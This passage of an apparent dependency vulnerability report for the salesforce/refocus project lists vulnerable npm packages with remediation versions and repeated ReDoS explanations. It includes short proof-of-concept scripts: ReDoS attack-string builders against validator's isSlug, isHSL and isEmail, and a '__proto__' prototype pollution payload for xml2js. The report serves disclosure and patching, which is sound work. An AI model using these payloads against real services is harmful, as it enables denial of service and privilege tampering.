Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver-regex to version 3.1.4, 4.0.3 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.8.12

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12
    Remediation: Upgrade to sequelize@6.28.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Information Exposure due to improper user-input, by allowing an attacker to create malicious queries leading to SQL errors.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: string
  • Introduced through: swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 string@3.3.3

Overview

string is a JavaScript library for extra String methods.

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS). It uses regex in the underscore and unescapeHTML methods, which can cause a slowdown of 2 seconds 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fix version for string.

References

medium severity

Information Exposure

  • Vulnerable module: superagent
  • Introduced through: swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 superagent@1.8.5
    Remediation: Upgrade to swagger-tools@0.10.2.

Overview

superagent is a Small progressive client-side HTTP request library, and Node.js module with the same API, supporting many high-level HTTP client features.

Affected versions of this package are vulnerable to Information Exposure due to sending the contents of Authorization to third parties.

Remediation

Upgrade superagent to version 3.8.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: uglify-js
  • Introduced through: html-webpack-plugin@2.30.1, uglifyify@3.0.4 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af html-webpack-plugin@2.30.1 html-minifier@3.5.21 uglify-js@3.4.10
    Remediation: Upgrade to html-webpack-plugin@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af uglifyify@3.0.4 uglify-js@2.8.29
    Remediation: Upgrade to uglifyify@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af pug@2.0.4 pug-filters@3.1.1 uglify-js@2.8.29
    Remediation: Upgrade to pug@3.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 pug@2.0.4 pug-filters@3.1.1 uglify-js@2.8.29
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 uglify-js@2.7.5
    Remediation: Upgrade to webpack@3.0.0.

Overview

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uglify-js to version 3.14.3 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: validator
  • Introduced through: validator@4.9.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af validator@4.9.0
    Remediation: Upgrade to validator@5.0.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Buffer Overflow. It used a regular expression (/^(?:[A-Z0-9+\/]{4})*(?:[A-Z0-9+\/]{2}==|[A-Z0-9+\/]{3}=|[A-Z0-9+\/]{4})$/i) in order to validate Base64 strings.

Remediation

Upgrade validator to version 5.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: @salesforce/refocus-collector@1.3.0, sequelize@5.8.12 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 validator@9.4.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12 validator@10.11.0
    Remediation: Upgrade to sequelize@5.22.5.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 z-schema@3.25.1 validator@10.11.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af validator@4.9.0
    Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: @salesforce/refocus-collector@1.3.0, sequelize@5.8.12 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 validator@9.4.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12 validator@10.11.0
    Remediation: Upgrade to sequelize@5.22.5.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 z-schema@3.25.1 validator@10.11.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af validator@4.9.0
    Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: @salesforce/refocus-collector@1.3.0, sequelize@5.8.12 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 validator@9.4.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12 validator@10.11.0
    Remediation: Upgrade to sequelize@5.22.5.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 z-schema@3.25.1 validator@10.11.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af validator@4.9.0
    Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: xml2js
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml2js@0.4.23

Overview

Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.

PoC

var parseString = require('xml2js').parseString;

let normal_user_request    = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";

const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade xml2js to version 0.5.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: mem
  • Introduced through: sequelize-cli@4.1.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize-cli@4.1.1 yargs@8.0.2 os-locale@2.1.0 mem@1.1.0
    Remediation: Upgrade to sequelize-cli@5.0.1.

Overview

mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.

Affected versions of this package are vulnerable to Denial of Service (DoS). Old results were deleted from the cache and could cause a memory leak.

details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade mem to version 4.0.0 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: passport
  • Introduced through: passport@0.3.2

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport@0.3.2
    Remediation: Upgrade to passport@0.6.0.

Overview

passport is a Simple, unobtrusive authentication for Node.js.

Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.

Remediation

Upgrade passport to version 0.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: express-ipfilter@0.0.24, jscs@3.0.7 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 lodash@3.10.1
    Remediation: Upgrade to express-ipfilter@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 xmlbuilder@3.1.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jscs-jsdoc@2.0.0 jsdoctypeparser@1.2.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af nock@3.6.0 lodash@2.4.1
    Remediation: Upgrade to nock@8.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmlbuilder@2.5.2 lodash@3.2.0

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

